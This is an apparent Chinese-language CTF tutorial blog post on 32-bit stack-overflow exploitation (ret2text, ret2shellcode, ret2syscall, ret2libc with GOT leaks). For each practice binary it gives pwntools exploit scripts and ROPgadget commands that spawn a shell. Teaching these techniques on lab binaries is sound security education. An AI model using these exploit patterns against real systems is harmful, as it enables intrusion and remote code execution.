ret2text
首先checksec,查看保护
![]()
开启了NX保护,IDA查看程序
![]()
很明显存在栈溢出漏洞,继续查看程序,发现有一处调用shell
![]()
想要程序调用system函数,需要input==secretcode,而secretcode每次都是随机的,所以只能通过栈溢出,让main函数的返回值为调用system函数的地方,查看该函数所在的位置
![]()
0x0804863A,接下来是找到函数返回的地址,并将其覆盖
![]()
0xffffd338-0xffffd2cc = 108,于是构造payload
1 2 3 4 5 6 7
| from pwn import *
sh = process("./ret2text") addr = 0x0804863A payload = (108+4) * 'a' + p32(addr) sh.sendline(payload) sh.interactive()
|
例题:jarvisOJ level0
ret2shellcode
首先checksec
![]()
32位程序,没有开启任何保护,IDA查看程序
![]()
有栈溢出,例外,strncpy()函数将gets的内容写入buf2中。于是攻击思路如下:
1
| 将shellcode写入buf2中,然后利用栈溢出将函数返回地址覆盖为buf2的地址。例外有一点需要注意的是,shellcode长度不能超过0x64,buf2部分可写可执行
|
查看buf2的地址
![]()
可以看到buffer位于.bss段的0x0804A080处,接下来查看此处地址的权限
![]()
vmmap查看内存,0xa080+0x64=0xa0c4,有可写可读可执行权限。于是构造payload
1 2 3 4 5 6 7 8 9 10
| from pwn import *
sh = process("./ret2shellcode") shellcode = asm(shellcraft.sh()) print shellcraft.sh() print hex(len(shellcode)) buf = 0x0804a080 payload = shellcode.ljust(112,'a') + p32(buf) sh.sendline(payload) sh.interactive()
|
例题:jarvisOJ level1
ret2syscall
首先checksec
![]()
开启NX,IDA查看程序
![]()
没有系统函数和shellcode,但是依然有栈溢出,这时候可以利用系统调用。下面介绍几个相关知识:
执行系统调用的指令是 int 0x80
系统调用获取shell的函数是 execve(“/bin/sh”,NULL,NULL)
对应的寄存器的值(对于32位程序)
1 2 3 4
| 系统调用号,即 eax 应该为 0xb 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。 第二个参数,即 ecx 应该为 0 第三个参数,即 edx 应该为 0
|
给寄存器赋值要利用到pop,因此需要ROPgadget
查找可存储寄存器的代码
1
| ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
|
查找字符串
1
| ROPgadget --binary rop --string "/bin/sh"
|
查找有int 0x80的地址
1
| ROPgadget --binary rop --only 'int'
|
还有一点需要注意的是:ret操作会执行一次pop并作为跳转地址
首先找eax
![]()
选取如下
1
| 0x080bb196 : pop eax ; ret
|
再找ebx
![]()
选取如下,一举三得
1
| 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
|
查找”/bin/sh”
![]()
查找int 0x80
![]()
编写脚本如下:
1 2 3 4 5 6 7 8 9 10 11
| from pwn import *
sh = process("./rop") pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) print len(payload) sh.sendline(payload) sh.interactive()
|
ret2libc
ret2libc1
首先checksec
![]()
32位程序,NX开启。IDA查看程序
![]()
存在栈溢出漏洞,Get shell最直接的方法就是:
1
| 改写程序返回地址为so库中system函数的地址,同时布置好栈,将参数“/bin/sh\x00”放在’返回地址往后两个单位内存地址’处即可
|
查看system函数和”/bin/sh”的地址
![]()
编写脚本
1 2 3 4 5 6 7 8
| from pwn import *
sh = process("./ret2libc1") system_addr = 0x08048460 bin_sh = 0x08048720 payload = flat([112*'a',system_addr,'aaaa',bin_sh]) sh.sendline(payload) sh.interactive()
|
例题:jarvisOJ level2
ret2libc2
首先checksec
![]()
32位程序,开启了NX。IDA查看程序
![]()
有栈溢出,并且有system函数和gets函数,攻击思路:
1
| 利用gets函数向.bss段中写入“/bin/sh”,再调用系统函数执行system("/bin/sh")
|
gdb查看system函数和gets函数在plt表中的位置
![]()
找一个buf来存储写入的”/bin/sh”
![]()
再找一个gadget连接gets和buf2,即ebx
![]()
编写脚本
1 2 3 4 5 6 7 8 9 10 11
| from pwn import *
sh = process("./ret2libc2") get_addr = 0x08048460 system_addr = 0x08048490 buf2 = 0x0804a080 pop_ebx = 0x0804843d payload = flat([112*'a',get_addr,pop_ebx,buf2,system_addr,'aaaa',buf2]) sh.sendline(payload) sh.sendline("/bin/sh") sh.interactive()
|
该方法同样适用于ret2libc1
1 2 3 4 5 6 7 8 9 10 11
| from pwn import *
sh = process("./ret2libc1") get_addr = 0x08048430 system_addr = 0x08048460 buf2 = 0x0804a080 pop_ebx = 0x0804841d payload = flat([112*'a',get_addr,pop_ebx,buf2,system_addr,'aaaa',buf2]) sh.sendline(payload) sh.sendline("cat flag > 111") sh.interactive()
|
ret2libc3
首先checksec
![]()
32位程序,NX开启。IDA查看
![]()
有栈溢出,无system函数。下面介绍两个知识点:
1、system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的,也就是说要找基地址。举个例子:
1
| puts真实地址-puts偏移地址 = system真实地址-system偏移地址 = 基地址
|
2、那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址,已经执行过的话就会在got表生存下来。同时可以根据got表项找到对应的libc.so,从而确定函数偏移。举个例子:
1
| 利用puts函数泄露puts函数的got表,因为puts函数在gets之前使用过。
|
利用puts的got表项找对应的libc.so有两种方法:
1、https://libc.blukat.me
2、https://github.com/lieanu/LibcSearcher
objdump看一下got表有哪些
![]()
因为PIE是关闭的,所以可以直接去puts出got表中puts的内容,并且返回到面函数
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * context.log_level = 'debug'
p=process('./ret2libc3') if args.G: gdb.attach(p) elf = ELF("./ret2libc3") payload = 'a'*112 + p32(elf.plt['puts']) + p32(elf.symbols['main']) + p32(elf.got['puts']) p.sendlineafter('!?',payload) puts_addr = u32(p.recv(4)) print hex(puts_addr)
|
然后根据got表中puts的内容找到相应的libc
![]()
这样就可以求出libc的基地址,system的地址和“/bin/sh”的地址
1 2 3 4 5 6 7
| libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh_addr = next(libc.search("/bin/sh"))
payload = 'a'*112 + p32(system_addr) + p32(elf.symbols['main']) + p32(binsh_addr) p.sendlineafter('!?',payload) p.interactive()
|
但是这样有个小问题,第二次调用main函数的时候,esp和ebp的相对偏移发生了变化,payload应为
1
| payload = 'a'*112 + p32(system_addr) + p32(elf.symbols['main']) + p32(binsh_addr)
|
利用cyclic来判断
![]()
于是编写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import * from LibcSearcher import LibcSearcher
sh = process("./ret2libc3") ret2libc3 = ELF("./ret2libc3")
puts_plt = ret2libc3.plt['puts'] puts_got = ret2libc3.got['puts'] main = ret2libc3.symbols['main']
payload = flat([112*'a',puts_plt,main,puts_got]) sh.sendlineafter("Can you find it !?",payload) puts_addr = u32(sh.recv(4)) print hex(puts_addr)
libc = LibcSearcher('puts',puts_addr) libcbase = puts_addr - libc.dump('puts') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh')
payload = flat([104*'a',system_addr,'aaaa',binsh_addr]) sh.sendlineafter("Can you find it !?",payload) sh.interactive()
|